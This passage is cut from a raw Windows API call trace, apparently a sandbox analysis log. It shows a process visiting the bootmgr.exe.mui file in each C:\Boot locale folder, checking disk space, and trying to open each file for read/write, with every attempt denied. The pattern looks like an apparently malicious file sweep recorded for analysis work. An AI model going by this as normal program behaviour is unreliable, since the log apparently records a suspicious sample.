CreateFileW (lpFileName="C:\\Boot\\fr-FR\\bootmgr.exe.mui" (normalized: "c:\\boot\\fr-fr\\bootmgr.exe.mui"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0075.769] GetLastError () returned 0x5 [0075.770] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf7fad8) returned 1 [0075.770] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf7fb60) returned 1 [0075.770] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xf7fb60 [0075.770] GetFileAttributesExW (in: lpFileName="C:\\Boot\\hu-HU\\bootmgr.exe.mui" (normalized: "c:\\boot\\hu-hu\\bootmgr.exe.mui"), fInfoLevelId=0x0, lpFileInformation=0x174fb04 | out: lpFileInformation=0x174fb04*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac061300, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac061300, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xe817e7d8, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x16240)) returned 1 [0075.770] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xf7fad8 [0075.770] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0x1a056d0 [0075.770] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0x1a05648 [0075.770] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0x1a056d0) returned 1 [0075.770] GetDiskFreeSpaceExW (in: lpDirectoryName="C:\\Boot\\hu-HU", lpFreeBytesAvailableToCaller=0x174fb88, lpTotalNumberOfBytes=0x0, lpTotalNumberOfFreeBytes=0x0 | out: lpFreeBytesAvailableToCaller=0x174fb88, lpTotalNumberOfBytes=0x0, lpTotalNumberOfFreeBytes=0x0) returned 1 [0075.771] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0x1a05648) returned 1 [0075.771] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf7fad8) returned 1 [0075.771] GetFileAttributesExW (in: lpFileName="C:\\Boot\\hu-HU\\bootmgr.exe.mui" (normalized: "c:\\boot\\hu-hu\\bootmgr.exe.mui"), fInfoLevelId=0x0, lpFileInformation=0x174fb00 | out: lpFileInformation=0x174fb00*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac061300, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac061300, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xe817e7d8, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x16240)) returned 1 [0075.771] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xf7fad8 [0075.771] GetFileAttributesExW (in: lpFileName="C:\\Boot\\hu-HU\\bootmgr.exe.mui" (normalized: "c:\\boot\\hu-hu\\bootmgr.exe.mui"), fInfoLevelId=0x0, lpFileInformation=0x174fab8 | out: lpFileInformation=0x174fab8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac061300, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac061300, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xe817e7d8, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x16240)) returned 1 [0075.771] CreateFileW (lpFileName="C:\\Boot\\hu-HU\\bootmgr.exe.mui" (normalized: "c:\\boot\\hu-hu\\bootmgr.exe.mui"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0075.771] GetLastError () returned 0x5 [0075.771] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf7fad8) returned 1 [0075.771] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf7fb60) returned 1 [0075.771] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xf7fb60 [0075.771] GetFileAttributesExW (in: lpFileName="C:\\Boot\\it-IT\\bootmgr.exe.mui" (normalized: "c:\\boot\\it-it\\bootmgr.exe.mui"), fInfoLevelId=0x0, lpFileInformation=0x174fb04 | out: lpFileInformation=0x174fb04*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac061300, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac061300, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xe9e80ea3, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x16250)) returned 1 [0075.772] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xf7fad8 [0075.772] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0x1a05648 [0075.772] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0x1a056d0 [0075.772] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0x1a05648) returned 1 [0075.772] GetDiskFreeSpaceExW (in: lpDirectoryName="C:\\Boot\\it-IT", lpFreeBytesAvailableToCaller=0x174fb88, lpTotalNumberOfBytes=0x0, lpTotalNumberOfFreeBytes=0x0 | out: lpFreeBytesAvailableToCaller=0x174fb88, lpTotalNumberOfBytes=0x0, lpTotalNumberOfFreeBytes=0x0) returned 1 [0075.772] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0x1a056d0) returned 1 [0075.772] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf7fad8) returned 1 [0075.772] GetFileAttributesExW (in: lpFileName="C:\\Boot\\it-IT\\bootmgr.exe.mui" (normalized: "c:\\boot\\it-it\\bootmgr.exe.mui"), fInfoLevelId=0x0, lpFileInformation=0x174fb00 | out: lpFileInformation=0x174fb00*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac061300, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac061300, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xe9e80ea3, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x16250)) returned 1 [0075.772] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xf7fad8 [0075.773] GetFileAttributesExW (in: lpFileName="C:\\Boot\\it-IT\\bootmgr.exe.mui" (normalized: "c:\\boot\\it-it\\bootmgr.exe.mui"), fInfoLevelId=0x0, lpFileInformation=0x174fab8 | out: lpFileInformation=0x174fab8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac061300, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac061300, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xe9e80ea3, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x16250)) returned 1 [0075.773] CreateFileW (lpFileName="C:\\Boot\\it-IT\\bootmgr.exe.mui" (normalized: "c:\\boot\\it-it\\bootmgr.exe.mui"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0075.773] GetLastError () returned 0x5 [0075.773] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf7fad8) returned 1 [0075.773] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf7fb60) returned 1 [0075.773] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xf7fb60 [0075.773] GetFileAttributesExW (in: lpFileName="C:\\Boot\\ja-JP\\bootmgr.exe.mui" (normalized: "c:\\boot\\ja-jp\\bootmgr.exe.mui"), fInfoLevelId=0x0, lpFileInformation=0x174fb04 | out: lpFileInformation=0x174fb04*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac087460, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac087460, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xe8216d3c, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x12a40)) returned 1 [0075.773] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xf7fad8 [0075.773] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0x1a056d0 [0075.773] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0x1a05648 [0075.774] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0x1a056d0) returned 1 [0075.774] GetDiskFreeSpaceExW (in: lpDirectoryName="C:\\Boot\\ja-JP", lpFreeBytesAvailableToCaller=0x174fb88, lpTotalNumberOfBytes=0x0, lpTotalNumberOfFreeBytes=0x0 | out: lpFreeBytesAvailableToCaller=0x174fb88, lpTotalNumberOfBytes=0x0, lpTotalNumberOfFreeBytes=0x0) returned 1 [0075.774] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0x1a05648) returned 1 [0075.774] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf7fad8) returned 1 [0075.774] GetFileAttributesExW (in: lpFileName="C:\\Boot\\ja-JP\\bootmgr.exe.mui" (normalized: "c:\\boot\\ja-jp\\bootmgr.exe.mui"), fInfoLevelId=0x0, lpFileInformation=0x174fb00 | out: lpFileInformation=0x174fb00*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac087460, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac087460, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xe8216d3c, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x12a40)) returned 1 [0075.774] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xf7fad8 [0075.774] GetFileAttributesExW (in: lpFileName="C:\\Boot\\ja-JP\\bootmgr.exe.mui" (normalized: "c:\\boot\\ja-jp\\bootmgr.exe.mui"), fInfoLevelId=0x0, lpFileInformation=0x174fab8 | out: lpFileInformation=0x174fab8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac087460, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac087460, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xe8216d3c, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x12a40)) returned 1 [0075.774] CreateFileW (lpFileName="C:\\Boot\\ja-JP\\bootmgr.exe.mui" (normalized: "c:\\boot\\ja-jp\\bootmgr.exe.mui"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0075.774] GetLastError () returned 0x5 [0075.775] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf7fad8) returned 1 [0075.775] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf7fb60) returned 1 [0075.775] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xf7fb60 [0075.775] GetFileAttributesExW (in: lpFileName="C:\\Boot\\ko-KR\\bootmgr.exe.mui" (normalized: "c:\\boot\\ko-kr\\bootmgr.exe.mui"), fInfoLevelId=0x0, lpFileInformation=0x174fb04 | out: lpFileInformation=0x174fb04*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac087460, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac087460, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xe8510830, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x12650)) returned 1 [0075.777] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xf7fad8 [0075.777] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0x1a05648 [0075.777] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0x1a056d0 [0075.777] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0x1a05648) returned 1 [0075.777] GetDiskFreeSpaceExW (in: lpDirectoryName="C:\\Boot\\ko-KR", lpFreeBytesAvailableToCaller=0x174fb88, lpTotalNumberOfBytes=0x0, lpTotalNumberOfFreeBytes=0x0 | out: lpFreeBytesAvailableToCaller=0x174fb88, lpTotalNumberOfBytes=0x0, lpTotalNumberOfFreeBytes=0x0) returned 1 [0075.777] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0x1a056d0) returned 1 [0075.777] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf7fad8) returned 1 [0075.777] GetFileAttributesExW (in: lpFileName="C:\\Boot\\ko-KR\\bootmgr.exe.mui" (normalized: "c:\\boot\\ko-kr\\bootmgr.exe.mui"), fInfoLevelId=0x0, lpFileInformation=0x174fb00 | out: lpFileInformation=0x174fb00*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac087460, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac087460, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xe8510830, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x12650)) returned 1 [0075.777] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xf7fad8 [0075.777] GetFileAttributesExW (in: lpFileName="C:\\Boot\\ko-KR\\bootmgr.exe.mui" (normalized: "c:\\boot\\ko-kr\\bootmgr.exe.mui"), fInfoLevelId=0x0, lpFileInformation=0x174fab8 | out: lpFileInformation=0x174fab8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac087460, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac087460, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xe8510830, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x12650)) returned 1 [0075.778] CreateFileW (lpFileName="C:\\Boot\\ko-KR\\bootmgr.exe.mui" (normalized: "c:\\boot\\ko-kr\\bootmgr.exe.mui"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0075.778] GetLastError () returned 0x5 [0075.778] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf7fad8) returned 1 [0075.778] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf7fb60) returned 1 [0075.778] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xf7fb60 [0075.778] GetFileAttributesExW (in: lpFileName="C:\\Boot\\nb-NO\\bootmgr.exe.mui" (normalized: "c:\\boot\\nb-no\\bootmgr.exe.mui"), fInfoLevelId=0x0, lpFileInformation=0x174fb04 | out: lpFileInformation=0x174fb04*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac0ad5c0, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0ad5c0, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xea212efb, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x15850)) returned 1 [0075.778] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xf7fad8 [0075.778] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0x1a056d0 [0075.778] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0x1a05648 [0075.779] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0x1a056d0) returned 1 [0075.779] GetDiskFreeSpaceExW (in: lpDirectoryName="C:\\Boot\\nb-NO", lpFreeBytesAvailableToCaller=0x174fb88, lpTotalNumberOfBytes=0x0, lpTotalNumberOfFreeBytes=0x0 | out: lpFreeBytesAvailableToCaller=0x174fb88, lpTotalNumberOfBytes=0x0, lpTotalNumberOfFreeBytes=0x0) returned 1 [0075.779] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0x1a05648) returned 1 [0075.779] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf7fad8) returned 1 [0075.779] GetFileAttributesExW (in: lpFileName="C:\\Boot\\nb-NO\\bootmgr.exe.mui" (normalized: "c:\\boot\\nb-no\\bootmgr.exe.mui"), fInfoLevelId=0x0, lpFileInformation=0x174fb00 | out: lpFileInformation=0x174fb00*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac0ad5c0, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0ad5c0, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xea212efb, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x15850)) returned 1 [0075.779] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xf7fad8 [0075.779] GetFileAttributesExW (in: lpFileName="C:\\Boot\\nb-NO\\bootmgr.exe.mui" (normalized: "c:\\boot\\nb-no\\bootmgr.exe.mui"), fInfoLevelId=0x0, lpFileInformation=0x174fab8 | out: lpFileInformation=0x174fab8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac0ad5c0, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0ad5c0, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xea212efb, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x15850)) returned 1 [0075.779] CreateFileW (lpFileName="C:\\Boot\\nb-NO\\bootmgr.exe.mui" (normalized: "c:\\boot\\nb-no\\bootmgr.exe.mui"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0075.779] GetLastError () returned 0x5 [0075.779] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf7fad8) returned 1 [0075.780] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf7fb60) returned 1 [0075.780] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xf7fb60 [0075.780] GetFileAttributesExW (in: lpFileName="C:\\Boot\\nl-NL\\bootmgr.exe.mui" (normalized: "c:\\boot\\nl-nl\\bootmgr.exe.mui"), fInfoLevelId=0x0, lpFileInformation=0x174fb04 | out: lpFileInformation=0x174fb04*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac0ad5c0, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0ad5c0, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xe84c457e, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x16250)) returned 1 [0075.780] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xf7fad8 [0075.780] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0x1a05648 [0075.780] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0x1a056d0 [0075.780] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0x1a05648) returned 1 [0075.780] GetDiskFreeSpaceExW (in: lpDirectoryName="C:\\Boot\\nl-NL", lpFreeBytesAvailableToCaller=0x174fb88, lpTotalNumberOfBytes=0x0, lpTotalNumberOfFreeBytes=0x0 | out: lpFreeBytesAvailableToCaller=0x174fb88, lpTotalNumberOfBytes=0x0, lpTotalNumberOfFreeBytes=0x0) returned 1 [0075.781] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0x1a056d0) returned 1 [0075.781] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf7fad8) returned 1 [0075.781] GetFileAttributesExW (in: lpFileName="C:\\Boot\\nl-NL\\bootmgr.exe.mui" (normalized: "c:\\boot\\nl-nl\\bootmgr.exe.mui"), fInfoLevelId=0x0, lpFileInformation=0x174fb00 | out: lpFileInformation=0x174fb00*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac0ad5c0, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0ad5c0, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xe84c457e, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x16250)) returned 1 [0075.781] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xf7fad8 [0075.781] GetFileAttributesExW (in: lpFileName="C:\\Boot\\nl-NL\\bootmgr.exe.mui" (normalized: "c:\\boot\\nl-nl\\bootmgr.exe.mui"), fInfoLevelId=0x0, lpFileInformation=0x174fab8 | out: lpFileInformation=0x174fab8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac0ad5c0, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0ad5c0, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xe84c457e, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x16250)) returned 1 [0075.781] CreateFileW (lpFileName="C:\\Boot\\nl-NL\\bootmgr.exe.mui" (normalized: "c:\\boot\\nl-nl\\bootmgr.exe.mui"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0075.781] GetLastError () returned 0x5 [0075.781] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf7fad8) returned 1 [0075.781] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf7fb60) returned 1 [0075.781] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xf7fb60 [0075.781] GetFileAttributesExW (in: lpFileName="C:\\Boot\\pl-PL\\bootmgr.exe.mui" (normalized: "c:\\boot\\pl-pl\\bootmgr.exe.mui"), fInfoLevelId=0x0, lpFileInformation=0x174fb04 | out: lpFileInformation=0x174fb04*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac0ad5c0, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0ad5c0, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xe9e5ad4a, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x16250)) returned 1 [0075.782] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xf7fad8 [0075.782] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0x1a056d0 [0075.782] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0x1a05648 [0075.782] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0x1a056d0) returned 1 [0075.782] GetDiskFreeSpaceExW (in: lpDirectoryName="C:\\Boot\\pl-PL", lpFreeBytesAvailableToCaller=0x174fb88, lpTotalNumberOfBytes=0x0, lpTotalNumberOfFreeBytes=0x0 | out: lpFreeBytesAvailableToCaller=0x174fb88, lpTotalNumberOfBytes=0x0, lpTotalNumberOfFreeBytes=0x0) returned 1 [0075.782] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0x1a05648) returned 1 [0075.782] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf7fad8) returned 1 [0075.783] GetFileAttributesExW (in: lpFileName="C:\\Boot\\pl-PL\\bootmgr.exe.mui" (normalized: "c:\\boot\\pl-pl\\bootmgr.exe.mui"), fInfoLevelId=0x0, lpFileInformation=0x174fb00 | out: lpFileInformation=0x174fb00*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac0ad5c0, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0ad5c0, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xe9e5ad4a, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x16250)) returned 1 [0075.783] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xf7fad8 [0075.783] GetFileAttributesExW (in: lpFileName="C:\\Boot\\pl-PL\\bootmgr.exe.mui" (normalized: "c:\\boot\\pl-pl\\bootmgr.exe.mui"), fInfoLevelId=0x0, lpFileInformation=0x174fab8 | out: lpFileInformation=0x174fab8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac0ad5c0, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0ad5c0, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xe9e5ad4a, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x16250)) returned 1 [0075.783] CreateFileW (lpFileName="C:\\Boot\\pl-PL\\bootmgr.exe.mui" (normalized: "c:\\boot\\pl-pl\\bootmgr.exe.mui"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0075.783] GetLastError () returned 0x5 [0075.783] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf7fad8) returned 1 [0075.783] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf7fb60) returned 1 [0075.783] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xf7fb60 [0075.783] GetFileAttributesExW (in: lpFileName="C:\\Boot\\pt-BR\\bootmgr.exe.mui" (normalized: "c:\\boot\\pt-br\\bootmgr.exe.mui"), fInfoLevelId=0x0, lpFileInformation=0x174fb04 | out: lpFileInformation=0x174fb04*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac0ad5c0, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0ad5c0, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xe83b9c0f, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x16040)) returned 1 [0075.784] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xf7fad8 [0075.784] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0x1a05648 [0075.784] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0x1a056d0 [0075.784] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0x1a05648) returned 1 [0075.784] GetDiskFreeSpaceExW (in: lpDirectoryName="C:\\Boot\\pt-BR", lpFreeBytesAvailableToCaller=0x174fb88, lpTotalNumberOfBytes=0x0, lpTotalNumberOfFreeBytes=0x0 | out: lpFreeBytesAvailableToCaller=0x174fb88, lpTotalNumberOfBytes=0x0, lpTotalNumberOfFreeBytes=0x0) returned 1 [0075.784] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0x1a056d0) returned 1 [0075.784] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf7fad8) returned 1 [0075.784] GetFileAttributesExW (in: lpFileName="C:\\Boot\\pt-BR\\bootmgr.exe.mui" (normalized: "c:\\boot\\pt-br\\bootmgr.exe.mui"), 